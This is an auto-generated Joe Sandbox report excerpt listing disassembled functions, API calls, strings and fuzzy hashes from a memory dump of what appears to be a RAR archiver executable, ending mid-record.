Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction ID: e6fb9c551687d31fcfdbc341b859a037416eca7d11e8aa20e78ce5fb57424d6a
Opcode Fuzzy Hash: ca30e85b47fa1e18d3f1659bb3f59f1703126fc617b20a809fafb72b1d5571b6
Instruction Fuzzy Hash: E9016250E0D6C343FF6897669A4427A53905F94BD4F4882B1ED3EC62D6FD2CE44B4200

Function 00007FF6FAA6A924 Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CompareStringA.KERNELBASE ref: 00007FF6FAA6A998

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CompareString
String ID:
API String ID: 1825529933-0
Opcode ID: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction ID: a20a46d79a5e4e73c485fbcaed8de82c86fbc0424061b1715aab7702d3d439ac
Opcode Fuzzy Hash: c6d6092b44314f1ca84e49c6934a556cb6b0378942b6d95cbaf43525491768f7
Instruction Fuzzy Hash: E6014F6170CA9245EB106B16A40406AA721AB9AFC4F6C4874EFAD8BB9AFE3DD0474704

Function 00007FF6FAA44554 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE ref: 00007FF6FAA44590

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: 86a096c0879f1b9d169584fab09b4cfda0d24ba67280b30728083c95e77eed4d
Instruction ID: 12d78bdb13e9332487f4a98ac74d055ba88f2c882374ab01748cfaf0188250ed
Opcode Fuzzy Hash: 86a096c0879f1b9d169584fab09b4cfda0d24ba67280b30728083c95e77eed4d
Instruction Fuzzy Hash: B7F0F9219082C147DF409B7451012F82310BF06BB5F1843B4EE7C4B3DBDE5C948E8721

Function 00007FF6FAA84AB4 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 00007FF6FAA84AF2

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction ID: f0ccc45034da2836f5ad9dbefef453d70d9256f7edfd0b68a57a8f2c7553b272
Opcode Fuzzy Hash: a83705ac74b444f5500bec44348e0038c9b669d93df90df5323591eb77280fd7
Instruction Fuzzy Hash: C1F01221F4D2C242FF586BB1594127663905F447A0F4C46B4ED3EC93C1FE5CE89B4214

Function 00007FF6FAA538A4 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction ID: 6143207fb81641e74561400ee0772b44ce558edf0ab4ac3669bba5fdf7287f76
Opcode Fuzzy Hash: 549de7c3646322cf803f0a3d8ad362b1ba55d15b021e669189a15772740b4565
Instruction Fuzzy Hash: CEE04F94F2970645FF5C2626286107902411F9AB80E1454B8CC3E863C2FD1EA05F1628

Function 00007FF6FAA8FA10 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

FreeLibrary.KERNELBASE ref: 00007FF6FAA8FA20

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction ID: 9d8b2b5551e26d2a100feff5ae6816f94da7bb10d2c38ec81f545aa5474527bd
Opcode Fuzzy Hash: ad9dbc15abe3f0918cc6563c4feaf8e34a932a80ed0fd1217961902de98c1a45
Instruction Fuzzy Hash: 54D09E76F1A90785F706DB41E84573412617F5879AF5106B4C43DC55D1EFBDE05E8340

Function 00007FF6FAA44538 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

FindClose.KERNELBASE(00000000,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA44549

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseFind
String ID:
API String ID: 1863332320-0
Opcode ID: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction ID: 3e7c32d9ba7c8f3a3bbdd20c0e35e5f046df05ae3ff63ac97e85085ba7d31b4e
Opcode Fuzzy Hash: a24fb093fec38f84a6413999e1ec44e694111a5c33ce1815f6d0c44c0494d0b9
Instruction Fuzzy Hash: 65C02B21E0148182CB44532D88451341110BF48735FE00370D13E451F0DF1858FF0300

Function 00007FF6FAA41930 Relevance: 1.3, APIs: 1, Instructions: 29COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE ref: 00007FF6FAA41958

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction ID: 250e38e22614c46f1ce7cf9a5c01aa31efe2b4277abd9f1f3516fddc9e58b60c
Opcode Fuzzy Hash: 305123b72896ec2dd4b418a3029193d626c13bb17abecb185ad3ed686754e208
Instruction Fuzzy Hash: B3F02222A0834245FB258F60E4403783650EF00BB8F995370EA3D810EAEF39C89BC350

Non-executed Functions

Function 00007FF6FAA467E0 Relevance: 42.4, APIs: 1, Strings: 23, Instructions: 441COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF6FAA649F4: LoadStringW.USER32 ref: 00007FF6FAA64A7B
Part of subcall function 00007FF6FAA649F4: LoadStringW.USER32 ref: 00007FF6FAA64A94

Part of subcall function 00007FF6FAA38444: fflush.LIBCMT ref: 00007FF6FAA38477

Part of subcall function 00007FF6FAA6B6D0: Sleep.KERNEL32(?,?,?,?,00007FF6FAA3CBED,?,00000000,?,00007FF6FAA67A8C), ref: 00007FF6FAA6B730

swprintf.LEGACY_STDIO_DEFINITIONS ref: 00007FF6FAA46CB0

Strings

%21ls %-16ls %u, xrefs: 00007FF6FAA46DCD
%s%s, xrefs: 00007FF6FAA46A74
%s%s, xrefs: 00007FF6FAA46AED
EOF, xrefs: 00007FF6FAA46CD1
%21ls %9ls %3d%% %28ls %u, xrefs: 00007FF6FAA46F85
----------- --------- ---------- ----- ----, xrefs: 00007FF6FAA46DB0
V, xrefs: 00007FF6FAA46D62
%s%s, xrefs: 00007FF6FAA46AB2
RAR 4, xrefs: 00007FF6FAA46987
%s%s, xrefs: 00007FF6FAA46A17
%s%s, xrefs: 00007FF6FAA469EB
RAR 5, xrefs: 00007FF6FAA4698E
RAR 1.4, xrefs: 00007FF6FAA469A0
%12ls: %ls, xrefs: 00007FF6FAA46D01
----------- --------- -------- ----- ---------- ----- -------- ----, xrefs: 00007FF6FAA46D6A
%21ls %18s %lu, xrefs: 00007FF6FAA46FA4
%.10ls %u, xrefs: 00007FF6FAA46C9D
%s%s, xrefs: 00007FF6FAA46B24
%21ls %9ls %3d%% %-27ls %u, xrefs: 00007FF6FAA46DA2
%s: , xrefs: 00007FF6FAA4697B
%12ls: %ls, xrefs: 00007FF6FAA46CD8
%s%s, xrefs: 00007FF6FAA469C0
%s: %s, xrefs: 00007FF6FAA46962

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: LoadString$Sleepfflushswprintf
String ID: %12ls: %ls$%12ls: %ls$%21ls %-16ls %u$%21ls %9ls %3d%% %-27ls %u$%s: $%s: %s$----------- --------- -------- ----- ---------- ----- -------- ----$----------- --------- ---------- ----- ----$%.10ls %u$%21ls %18s %lu$%21ls %9ls %3d%% %28ls %u$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$%s%s$EOF$RAR 1.4$RAR 4$RAR 5$V
API String ID: 668332963-4283793440
Opcode ID: 42bb3ba92369322cee946050bf619a3c7a8610c4ef9213de2fd911fc31fd2034
Instruction ID: e0c11290221466017725a67c46680d3369b73a62cbdbe4c358159678b67aefc6
Opcode Fuzzy Hash: 42bb3ba92369322cee946050bf619a3c7a8610c4ef9213de2fd911fc31fd2034
Instruction Fuzzy Hash: 1722DA22A0C6C255EB60DB24D9410F967A1FF45744F4450B6EA9D876EAFF2EE60FC700

Function 00007FF6FAA3D2C0 Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 313fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 00007FF6FAA3D4A6
CloseHandle.KERNEL32 ref: 00007FF6FAA3D4B9

Part of subcall function 00007FF6FAA3EF50: GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,?,?,00007FF6FAA3EE47), ref: 00007FF6FAA3EF73
Part of subcall function 00007FF6FAA3EF50: OpenProcessToken.ADVAPI32(?,?,?,?,?,?,?,?,?,00007FF6FAA3EE47), ref: 00007FF6FAA3EF84
Part of subcall function 00007FF6FAA3EF50: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6FAA3EFA7
Part of subcall function 00007FF6FAA3EF50: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FAA3EFCA
Part of subcall function 00007FF6FAA3EF50: GetLastError.KERNEL32 ref: 00007FF6FAA3EFD4
Part of subcall function 00007FF6FAA3EF50: CloseHandle.KERNEL32 ref: 00007FF6FAA3EFE7

CreateDirectoryW.KERNEL32 ref: 00007FF6FAA3D4C6
CreateFileW.KERNEL32 ref: 00007FF6FAA3D64A
DeviceIoControl.KERNEL32 ref: 00007FF6FAA3D68B
CloseHandle.KERNEL32 ref: 00007FF6FAA3D69A
GetLastError.KERNEL32 ref: 00007FF6FAA3D6AD
RemoveDirectoryW.KERNEL32 ref: 00007FF6FAA3D6FA
DeleteFileW.KERNEL32 ref: 00007FF6FAA3D705

Part of subcall function 00007FF6FAA42310: FlushFileBuffers.KERNEL32 ref: 00007FF6FAA4233E
Part of subcall function 00007FF6FAA42310: SetFileTime.KERNEL32 ref: 00007FF6FAA423DB

Part of subcall function 00007FF6FAA41930: CloseHandle.KERNELBASE ref: 00007FF6FAA41958

Part of subcall function 00007FF6FAA439E0: SetFileAttributesW.KERNEL32(?,00007FF6FAA434EE,?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA43A0F
Part of subcall function 00007FF6FAA439E0: SetFileAttributesW.KERNEL32(?,00007FF6FAA434EE,?,?,?,?,00000800,00000000,00000000,00007FF6FAA538CB,?,?,?,00007FF6FAA541EC), ref: 00007FF6FAA43A3C

Strings

SeCreateSymbolicLinkPrivilege, xrefs: 00007FF6FAA3D328
SeRestorePrivilege, xrefs: 00007FF6FAA3D31C
\??\, xrefs: 00007FF6FAA3D390
UNC\, xrefs: 00007FF6FAA3D3BD

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: File$CloseHandle$Create$AttributesDirectoryErrorLastProcessToken$AdjustBuffersControlCurrentDeleteDeviceFlushLookupOpenPrivilegePrivilegesRemoveTimeValue
String ID: SeCreateSymbolicLinkPrivilege$SeRestorePrivilege$UNC\$\??\
API String ID: 2750113785-3508440684
Opcode ID: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction ID: 76b45633b32183103ba1018613e24c02a694a5d08b873fc2440ae8764f410e4d
Opcode Fuzzy Hash: 1a7d86559847920f8bb109ab3d7291439b8a259b3f48a060f5ee007c4e7161c6
Instruction Fuzzy Hash: 86D1CD26A1878696EB609F60E9412F973A0FF44798F404171EAAD876D9EF3DD60FC700

Function 00007FF6FAA6AE50 Relevance: 23.0, APIs: 8, Strings: 5, Instructions: 281libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6AEE9
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6AF01
GetProcAddress.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6AF19
GetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6AF75
GetFullPathNameA.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6AFB0
SetCurrentDirectoryW.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6B23B
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6B244
FreeLibrary.KERNEL32(?,?,00000000,?,?,00000040,?,?,00007FF6FAA22E4C), ref: 00007FF6FAA6B287

Strings

MAPIFreeBuffer, xrefs: 00007FF6FAA6AF0F
MAPIResolveName, xrefs: 00007FF6FAA6AEF7
MAPISendMail, xrefs: 00007FF6FAA6AEDF
MAPI32.DLL, xrefs: 00007FF6FAA6AEC2
SMTP:, xrefs: 00007FF6FAA6B069

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: AddressProc$CurrentDirectoryFreeLibrary$FullNamePath
String ID: MAPI32.DLL$MAPIFreeBuffer$MAPIResolveName$MAPISendMail$SMTP:
API String ID: 3483800833-4165214152
Opcode ID: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction ID: 94ee261fc1a9385ac55a5be683edad78f0de478b00dd0b309f0797cf71b70ea4
Opcode Fuzzy Hash: 8f878c9cc2ffebf2ccf382536ffbb2373ba61f84303543efc970922cd888523d
Instruction Fuzzy Hash: 27C1A032A19B8286EB20DF25D8502BE27A0FF49B94F444075DA6D877D9EF3CD54ACB00

Function 00007FF6FAA6B57C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 54shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00007FF6FAA6B593
OpenProcessToken.ADVAPI32 ref: 00007FF6FAA6B5A6
LookupPrivilegeValueW.ADVAPI32 ref: 00007FF6FAA6B5BE
AdjustTokenPrivileges.ADVAPI32 ref: 00007FF6FAA6B5EF
ExitWindowsEx.USER32 ref: 00007FF6FAA6B602
ExitWindowsEx.USER32 ref: 00007FF6FAA6B637

Strings

SeShutdownPrivilege, xrefs: 00007FF6FAA6B5B7

Memory Dump Source

Source File: 0000006D.00000002.2763314229.00007FF6FAA21000.00000020.00000001.01000000.0000001E.sdmp, Offset: 00007FF6FAA20000, based on PE: true

Associated: 0000006D.00000002.2763277269.00007FF6FAA20000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763390195.00007FF6FAA90000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763429386.00007FF6FAAA8000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763474075.00007FF6FAAA9000.00000008.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAAA000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAB4000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAABE000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763514043.00007FF6FAAC6000.00000004.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763678163.00007FF6FAAC8000.00000002.00000001.01000000.0000001E.sdmpDownload File
Associated: 0000006D.00000002.2763720110.00007FF6FAACE000.00000002.00000001.01000000.0000001E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_109_2_7ff6faa20000_rar.jbxd

Similarity

API ID: ExitProcessTokenWindows$AdjustCurrentLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3729174658-3733053543
